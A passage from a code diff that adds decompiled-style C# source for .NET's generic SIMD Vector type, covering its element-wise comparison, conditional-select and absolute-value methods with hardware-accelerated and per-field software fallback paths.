= ((left.register.double_1 == right.register.double_1) ? ConstantHelper.GetDoubleWithAllBitsSet() : 0.0); + return new Vector(ref existingRegister); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.CompilerServices.Intrinsic] + internal unsafe static Vector LessThan(Vector left, Vector right) + { + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + byte* ptr = stackalloc byte[(int)(uint)Count]; + for (int i = 0; i < Count; i++) + { + ptr[i] = (byte)(ScalarLessThan(left[i], right[i]) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + } + return new Vector(ptr); + } + if (typeof(T) == typeof(sbyte)) + { + sbyte* ptr2 = stackalloc sbyte[(int)(uint)Count]; + for (int j = 0; j < Count; j++) + { + ptr2[j] = (sbyte)(ScalarLessThan(left[j], right[j]) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + } + return new Vector(ptr2); + } + if (typeof(T) == typeof(ushort)) + { + ushort* ptr3 = stackalloc ushort[Count]; + for (int k = 0; k < Count; k++) + { + ptr3[k] = (ushort)(ScalarLessThan(left[k], right[k]) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + } + return new Vector(ptr3); + } + if (typeof(T) == typeof(short)) + { + short* ptr4 = stackalloc short[Count]; + for (int l = 0; l < Count; l++) + { + ptr4[l] = (short)(ScalarLessThan(left[l], right[l]) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + } + return new Vector(ptr4); + } + if (typeof(T) == typeof(uint)) + { + uint* ptr5 = stackalloc uint[Count]; + for (int m = 0; m < Count; m++) + { + ptr5[m] = (ScalarLessThan(left[m], right[m]) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + } + return new Vector(ptr5); + } + if (typeof(T) == typeof(int)) + { + int* ptr6 = stackalloc int[Count]; + for (int n = 0; n < Count; n++) + { + ptr6[n] = (ScalarLessThan(left[n], right[n]) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + } + return new Vector(ptr6); + } + if (typeof(T) == typeof(ulong)) + { + ulong* ptr7 = stackalloc ulong[Count]; + for (int num = 0; num < Count; num++) + { + ptr7[num] = (ScalarLessThan(left[num], right[num]) ? ConstantHelper.GetUInt64WithAllBitsSet() : 0); + } + return new Vector(ptr7); + } + if (typeof(T) == typeof(long)) + { + long* ptr8 = stackalloc long[Count]; + for (int num2 = 0; num2 < Count; num2++) + { + ptr8[num2] = (ScalarLessThan(left[num2], right[num2]) ? ConstantHelper.GetInt64WithAllBitsSet() : 0); + } + return new Vector(ptr8); + } + if (typeof(T) == typeof(float)) + { + float* ptr9 = stackalloc float[Count]; + for (int num3 = 0; num3 < Count; num3++) + { + ptr9[num3] = (ScalarLessThan(left[num3], right[num3]) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + } + return new Vector(ptr9); + } + if (typeof(T) == typeof(double)) + { + double* ptr10 = stackalloc double[Count]; + for (int num4 = 0; num4 < Count; num4++) + { + ptr10[num4] = (ScalarLessThan(left[num4], right[num4]) ? ConstantHelper.GetDoubleWithAllBitsSet() : 0.0); + } + return new Vector(ptr10); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + Register existingRegister = default(Register); + if (typeof(T) == typeof(byte)) + { + existingRegister.byte_0 = (byte)((left.register.byte_0 < right.register.byte_0) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_1 = (byte)((left.register.byte_1 < right.register.byte_1) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_2 = (byte)((left.register.byte_2 < right.register.byte_2) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_3 = (byte)((left.register.byte_3 < right.register.byte_3) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_4 = (byte)((left.register.byte_4 < right.register.byte_4) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_5 = (byte)((left.register.byte_5 < right.register.byte_5) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_6 = (byte)((left.register.byte_6 < right.register.byte_6) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_7 = (byte)((left.register.byte_7 < right.register.byte_7) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_8 = (byte)((left.register.byte_8 < right.register.byte_8) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_9 = (byte)((left.register.byte_9 < right.register.byte_9) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_10 = (byte)((left.register.byte_10 < right.register.byte_10) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_11 = (byte)((left.register.byte_11 < right.register.byte_11) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_12 = (byte)((left.register.byte_12 < right.register.byte_12) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_13 = (byte)((left.register.byte_13 < right.register.byte_13) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_14 = (byte)((left.register.byte_14 < right.register.byte_14) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_15 = (byte)((left.register.byte_15 < right.register.byte_15) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(sbyte)) + { + existingRegister.sbyte_0 = (sbyte)((left.register.sbyte_0 < right.register.sbyte_0) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_1 = (sbyte)((left.register.sbyte_1 < right.register.sbyte_1) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_2 = (sbyte)((left.register.sbyte_2 < right.register.sbyte_2) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_3 = (sbyte)((left.register.sbyte_3 < right.register.sbyte_3) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_4 = (sbyte)((left.register.sbyte_4 < right.register.sbyte_4) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_5 = (sbyte)((left.register.sbyte_5 < right.register.sbyte_5) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_6 = (sbyte)((left.register.sbyte_6 < right.register.sbyte_6) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_7 = (sbyte)((left.register.sbyte_7 < right.register.sbyte_7) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_8 = (sbyte)((left.register.sbyte_8 < right.register.sbyte_8) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_9 = (sbyte)((left.register.sbyte_9 < right.register.sbyte_9) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_10 = (sbyte)((left.register.sbyte_10 < right.register.sbyte_10) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_11 = (sbyte)((left.register.sbyte_11 < right.register.sbyte_11) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_12 = (sbyte)((left.register.sbyte_12 < right.register.sbyte_12) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_13 = (sbyte)((left.register.sbyte_13 < right.register.sbyte_13) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_14 = (sbyte)((left.register.sbyte_14 < right.register.sbyte_14) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_15 = (sbyte)((left.register.sbyte_15 < right.register.sbyte_15) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(ushort)) + { + existingRegister.uint16_0 = (ushort)((left.register.uint16_0 < right.register.uint16_0) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_1 = (ushort)((left.register.uint16_1 < right.register.uint16_1) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_2 = (ushort)((left.register.uint16_2 < right.register.uint16_2) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_3 = (ushort)((left.register.uint16_3 < right.register.uint16_3) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_4 = (ushort)((left.register.uint16_4 < right.register.uint16_4) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_5 = (ushort)((left.register.uint16_5 < right.register.uint16_5) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_6 = (ushort)((left.register.uint16_6 < right.register.uint16_6) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_7 = (ushort)((left.register.uint16_7 < right.register.uint16_7) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(short)) + { + existingRegister.int16_0 = (short)((left.register.int16_0 < right.register.int16_0) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_1 = (short)((left.register.int16_1 < right.register.int16_1) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_2 = (short)((left.register.int16_2 < right.register.int16_2) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_3 = (short)((left.register.int16_3 < right.register.int16_3) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_4 = (short)((left.register.int16_4 < right.register.int16_4) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_5 = (short)((left.register.int16_5 < right.register.int16_5) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_6 = (short)((left.register.int16_6 < right.register.int16_6) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_7 = (short)((left.register.int16_7 < right.register.int16_7) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(uint)) + { + existingRegister.uint32_0 = ((left.register.uint32_0 < right.register.uint32_0) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + existingRegister.uint32_1 = ((left.register.uint32_1 < right.register.uint32_1) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + existingRegister.uint32_2 = ((left.register.uint32_2 < right.register.uint32_2) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + existingRegister.uint32_3 = ((left.register.uint32_3 < right.register.uint32_3) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(int)) + { + existingRegister.int32_0 = ((left.register.int32_0 < right.register.int32_0) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + existingRegister.int32_1 = ((left.register.int32_1 < right.register.int32_1) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + existingRegister.int32_2 = ((left.register.int32_2 < right.register.int32_2) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + existingRegister.int32_3 = ((left.register.int32_3 < right.register.int32_3) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(ulong)) + { + existingRegister.uint64_0 = ((left.register.uint64_0 < right.register.uint64_0) ? ConstantHelper.GetUInt64WithAllBitsSet() : 0); + existingRegister.uint64_1 = ((left.register.uint64_1 < right.register.uint64_1) ? ConstantHelper.GetUInt64WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(long)) + { + existingRegister.int64_0 = ((left.register.int64_0 < right.register.int64_0) ? ConstantHelper.GetInt64WithAllBitsSet() : 0); + existingRegister.int64_1 = ((left.register.int64_1 < right.register.int64_1) ? ConstantHelper.GetInt64WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(float)) + { + existingRegister.single_0 = ((left.register.single_0 < right.register.single_0) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + existingRegister.single_1 = ((left.register.single_1 < right.register.single_1) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + existingRegister.single_2 = ((left.register.single_2 < right.register.single_2) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + existingRegister.single_3 = ((left.register.single_3 < right.register.single_3) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(double)) + { + existingRegister.double_0 = ((left.register.double_0 < right.register.double_0) ? ConstantHelper.GetDoubleWithAllBitsSet() : 0.0); + existingRegister.double_1 = ((left.register.double_1 < right.register.double_1) ? ConstantHelper.GetDoubleWithAllBitsSet() : 0.0); + return new Vector(ref existingRegister); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.CompilerServices.Intrinsic] + internal unsafe static Vector GreaterThan(Vector left, Vector right) + { + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + byte* ptr = stackalloc byte[(int)(uint)Count]; + for (int i = 0; i < Count; i++) + { + ptr[i] = (byte)(ScalarGreaterThan(left[i], right[i]) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + } + return new Vector(ptr); + } + if (typeof(T) == typeof(sbyte)) + { + sbyte* ptr2 = stackalloc sbyte[(int)(uint)Count]; + for (int j = 0; j < Count; j++) + { + ptr2[j] = (sbyte)(ScalarGreaterThan(left[j], right[j]) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + } + return new Vector(ptr2); + } + if (typeof(T) == typeof(ushort)) + { + ushort* ptr3 = stackalloc ushort[Count]; + for (int k = 0; k < Count; k++) + { + ptr3[k] = (ushort)(ScalarGreaterThan(left[k], right[k]) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + } + return new Vector(ptr3); + } + if (typeof(T) == typeof(short)) + { + short* ptr4 = stackalloc short[Count]; + for (int l = 0; l < Count; l++) + { + ptr4[l] = (short)(ScalarGreaterThan(left[l], right[l]) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + } + return new Vector(ptr4); + } + if (typeof(T) == typeof(uint)) + { + uint* ptr5 = stackalloc uint[Count]; + for (int m = 0; m < Count; m++) + { + ptr5[m] = (ScalarGreaterThan(left[m], right[m]) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + } + return new Vector(ptr5); + } + if (typeof(T) == typeof(int)) + { + int* ptr6 = stackalloc int[Count]; + for (int n = 0; n < Count; n++) + { + ptr6[n] = (ScalarGreaterThan(left[n], right[n]) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + } + return new Vector(ptr6); + } + if (typeof(T) == typeof(ulong)) + { + ulong* ptr7 = stackalloc ulong[Count]; + for (int num = 0; num < Count; num++) + { + ptr7[num] = (ScalarGreaterThan(left[num], right[num]) ? ConstantHelper.GetUInt64WithAllBitsSet() : 0); + } + return new Vector(ptr7); + } + if (typeof(T) == typeof(long)) + { + long* ptr8 = stackalloc long[Count]; + for (int num2 = 0; num2 < Count; num2++) + { + ptr8[num2] = (ScalarGreaterThan(left[num2], right[num2]) ? ConstantHelper.GetInt64WithAllBitsSet() : 0); + } + return new Vector(ptr8); + } + if (typeof(T) == typeof(float)) + { + float* ptr9 = stackalloc float[Count]; + for (int num3 = 0; num3 < Count; num3++) + { + ptr9[num3] = (ScalarGreaterThan(left[num3], right[num3]) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + } + return new Vector(ptr9); + } + if (typeof(T) == typeof(double)) + { + double* ptr10 = stackalloc double[Count]; + for (int num4 = 0; num4 < Count; num4++) + { + ptr10[num4] = (ScalarGreaterThan(left[num4], right[num4]) ? ConstantHelper.GetDoubleWithAllBitsSet() : 0.0); + } + return new Vector(ptr10); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + Register existingRegister = default(Register); + if (typeof(T) == typeof(byte)) + { + existingRegister.byte_0 = (byte)((left.register.byte_0 > right.register.byte_0) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_1 = (byte)((left.register.byte_1 > right.register.byte_1) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_2 = (byte)((left.register.byte_2 > right.register.byte_2) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_3 = (byte)((left.register.byte_3 > right.register.byte_3) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_4 = (byte)((left.register.byte_4 > right.register.byte_4) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_5 = (byte)((left.register.byte_5 > right.register.byte_5) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_6 = (byte)((left.register.byte_6 > right.register.byte_6) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_7 = (byte)((left.register.byte_7 > right.register.byte_7) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_8 = (byte)((left.register.byte_8 > right.register.byte_8) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_9 = (byte)((left.register.byte_9 > right.register.byte_9) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_10 = (byte)((left.register.byte_10 > right.register.byte_10) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_11 = (byte)((left.register.byte_11 > right.register.byte_11) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_12 = (byte)((left.register.byte_12 > right.register.byte_12) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_13 = (byte)((left.register.byte_13 > right.register.byte_13) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_14 = (byte)((left.register.byte_14 > right.register.byte_14) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_15 = (byte)((left.register.byte_15 > right.register.byte_15) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(sbyte)) + { + existingRegister.sbyte_0 = (sbyte)((left.register.sbyte_0 > right.register.sbyte_0) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_1 = (sbyte)((left.register.sbyte_1 > right.register.sbyte_1) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_2 = (sbyte)((left.register.sbyte_2 > right.register.sbyte_2) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_3 = (sbyte)((left.register.sbyte_3 > right.register.sbyte_3) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_4 = (sbyte)((left.register.sbyte_4 > right.register.sbyte_4) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_5 = (sbyte)((left.register.sbyte_5 > right.register.sbyte_5) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_6 = (sbyte)((left.register.sbyte_6 > right.register.sbyte_6) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_7 = (sbyte)((left.register.sbyte_7 > right.register.sbyte_7) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_8 = (sbyte)((left.register.sbyte_8 > right.register.sbyte_8) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_9 = (sbyte)((left.register.sbyte_9 > right.register.sbyte_9) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_10 = (sbyte)((left.register.sbyte_10 > right.register.sbyte_10) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_11 = (sbyte)((left.register.sbyte_11 > right.register.sbyte_11) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_12 = (sbyte)((left.register.sbyte_12 > right.register.sbyte_12) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_13 = (sbyte)((left.register.sbyte_13 > right.register.sbyte_13) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_14 = (sbyte)((left.register.sbyte_14 > right.register.sbyte_14) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_15 = (sbyte)((left.register.sbyte_15 > right.register.sbyte_15) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(ushort)) + { + existingRegister.uint16_0 = (ushort)((left.register.uint16_0 > right.register.uint16_0) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_1 = (ushort)((left.register.uint16_1 > right.register.uint16_1) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_2 = (ushort)((left.register.uint16_2 > right.register.uint16_2) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_3 = (ushort)((left.register.uint16_3 > right.register.uint16_3) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_4 = (ushort)((left.register.uint16_4 > right.register.uint16_4) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_5 = (ushort)((left.register.uint16_5 > right.register.uint16_5) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_6 = (ushort)((left.register.uint16_6 > right.register.uint16_6) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_7 = (ushort)((left.register.uint16_7 > right.register.uint16_7) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(short)) + { + existingRegister.int16_0 = (short)((left.register.int16_0 > right.register.int16_0) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_1 = (short)((left.register.int16_1 > right.register.int16_1) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_2 = (short)((left.register.int16_2 > right.register.int16_2) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_3 = (short)((left.register.int16_3 > right.register.int16_3) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_4 = (short)((left.register.int16_4 > right.register.int16_4) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_5 = (short)((left.register.int16_5 > right.register.int16_5) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_6 = (short)((left.register.int16_6 > right.register.int16_6) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_7 = (short)((left.register.int16_7 > right.register.int16_7) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(uint)) + { + existingRegister.uint32_0 = ((left.register.uint32_0 > right.register.uint32_0) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + existingRegister.uint32_1 = ((left.register.uint32_1 > right.register.uint32_1) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + existingRegister.uint32_2 = ((left.register.uint32_2 > right.register.uint32_2) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + existingRegister.uint32_3 = ((left.register.uint32_3 > right.register.uint32_3) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(int)) + { + existingRegister.int32_0 = ((left.register.int32_0 > right.register.int32_0) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + existingRegister.int32_1 = ((left.register.int32_1 > right.register.int32_1) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + existingRegister.int32_2 = ((left.register.int32_2 > right.register.int32_2) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + existingRegister.int32_3 = ((left.register.int32_3 > right.register.int32_3) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(ulong)) + { + existingRegister.uint64_0 = ((left.register.uint64_0 > right.register.uint64_0) ? ConstantHelper.GetUInt64WithAllBitsSet() : 0); + existingRegister.uint64_1 = ((left.register.uint64_1 > right.register.uint64_1) ? ConstantHelper.GetUInt64WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(long)) + { + existingRegister.int64_0 = ((left.register.int64_0 > right.register.int64_0) ? ConstantHelper.GetInt64WithAllBitsSet() : 0); + existingRegister.int64_1 = ((left.register.int64_1 > right.register.int64_1) ? ConstantHelper.GetInt64WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(float)) + { + existingRegister.single_0 = ((left.register.single_0 > right.register.single_0) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + existingRegister.single_1 = ((left.register.single_1 > right.register.single_1) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + existingRegister.single_2 = ((left.register.single_2 > right.register.single_2) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + existingRegister.single_3 = ((left.register.single_3 > right.register.single_3) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(double)) + { + existingRegister.double_0 = ((left.register.double_0 > right.register.double_0) ? ConstantHelper.GetDoubleWithAllBitsSet() : 0.0); + existingRegister.double_1 = ((left.register.double_1 > right.register.double_1) ? ConstantHelper.GetDoubleWithAllBitsSet() : 0.0); + return new Vector(ref existingRegister); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [System.Runtime.CompilerServices.Intrinsic] + internal static Vector GreaterThanOrEqual(Vector left, Vector right) + { + return Equals(left, right) | GreaterThan(left, right); + } + + [System.Runtime.CompilerServices.Intrinsic] + internal static Vector LessThanOrEqual(Vector left, Vector right) + { + return Equals(left, right) | LessThan(left, right); + } + + [System.Runtime.CompilerServices.Intrinsic] + internal static Vector ConditionalSelect(Vector condition, Vector left, Vector right) + { + return (left & condition) | Vector.AndNot(right, condition); + } + + [System.Runtime.CompilerServices.Intrinsic] + internal unsafe static Vector Abs(Vector value) + { + if (typeof(T) == typeof(byte)) + { + return value; + } + if (typeof(T) == typeof(ushort)) + { + return value; + } + if (typeof(T) == typeof(uint)) + { + return value; + } + if (typeof(T) == typeof(ulong)) + { + return value; + } + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(sbyte)) + { + sbyte* ptr = stackalloc sbyte[(int)(uint)Count]; + for (int i = 0; i < Count; i++) + { + ptr[i] = (sbyte)(object)Math.Abs((sbyte)(object)value[i]); + } + return new Vector(ptr); + } + if (typeof(T) == typeof(short)) + { + short* ptr2 = stackalloc short[Count]; + for (int j = 0; j < Count; j++) + { + ptr2[j] = (short)(object)Math.Abs((short)(object)value[j]); + } + return new Vector(ptr2); + } + if (typeof(T) == typeof(int)) + { + int* ptr3 = stackalloc int[Count]; + for (int k = 0; k < Count; k++) + { + ptr3[k] = (int)(object)Math.Abs((int)(object)value[k]); + } + return new Vector(ptr3); + } + if (typeof(T) == typeof(long)) + { + long* ptr4 = stackalloc long[Count]; + for (int l = 0; l < Count; l++) + { + ptr4[l] = (long)(object)Math.Abs((long)(object)value[l]); + } + return new Vector(ptr4); + } + if (typeof(T) == typeof(float)) + { + float* ptr5 = stackalloc float[Count]; + for (int m = 0; m < Count; m++) + { + ptr5[m] = (float)(object)Math.Abs((float)(object)value[m]); + } + return new Vector(ptr5); + } + if (typeof(T) == typeof(double)) + { + double* ptr6 = stackalloc double[Count]; + for (int n = 0; n < Count; n++) + { + ptr6[n] = (double)(object)Math.Abs((double)(object)value[n]); + } + return new Vector(ptr6); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + if (typeof(T) == typeof(sbyte)) + { + value.register.sbyte_0 = Math.Abs(value.register.sbyte_0); + value.register.sbyte_1 = Math.Abs(value.register.sbyte_1); + value.register.sbyte_2 = Math.Abs(value.register.sbyte_2); + value.register.sbyte_3 = Math.Abs(value.register.sbyte_3); + value.register.sbyte_4 = Math.Abs(value.register.sbyte_4); + value.register.sbyte_5 = Math.Abs(value.register.sbyte_5); + value.register.sbyte_6 = Math.Abs(value.register.sbyte_6); + value.register.sbyte_7 = Math.Abs(value.register.sbyte_7); + value.register.sbyte_8 = Math.Abs(value.register.sbyte_8); + value.register.sbyte_9 = Math.Abs(value.register.sbyte_9); + value.register.sbyte_10 = Math.Abs(value.register.sbyte_10); + value.register.sbyte_11 = Math.Abs(value.register.sbyte_11); + value.register.sbyte_12 = Math.Abs(value.register.sbyte_12); + value.register.sbyte_13 = Math.Abs(value.register.sbyte_13); + value.register.sbyte_14 = Math.Abs(value.register.sbyte_14); + value.register.sbyte_15 = Math.Abs(value.register.sbyte_15); + return value; + } + if (typeof(T) == typeof(short)) + { + value.register.int16_0 = Math.Abs(value.register.int16_0); + value.register.int16_1 = Math.Abs(value.register.int16_1); + value.register.int16_2 = Math.Abs(value.register.int16_2); + value.register.int16_3 = Math.Abs(value.register.int16_3); + value.register.int16_4 = Math.Abs(value.register.int16_4); + value.register.int16_5 = Math.Abs(value.register.int16_5); + value.register.int16_6 = Math.Abs(value.register.int16_6); + value.register.int16_7 = Math.Abs(value.register.int16_7); + return value; + } + if (typeof(T) == typeof(int)) + { + value.register.int32_0 = Math.Abs(value.register.int32_0); + value.register.int32_1 = Math.Abs(value.register.int32_1); + value.register.int32_2 = Math.Abs(value.register.int32_2); + value.register.int32_3 = Math.Abs(value.register.int32_3); + return value; + } + if (typeof(T) == typeof(long)) + { + value.register.int64_0 = Math.Abs(value.register.int64_0); + value.register.int64_1 = 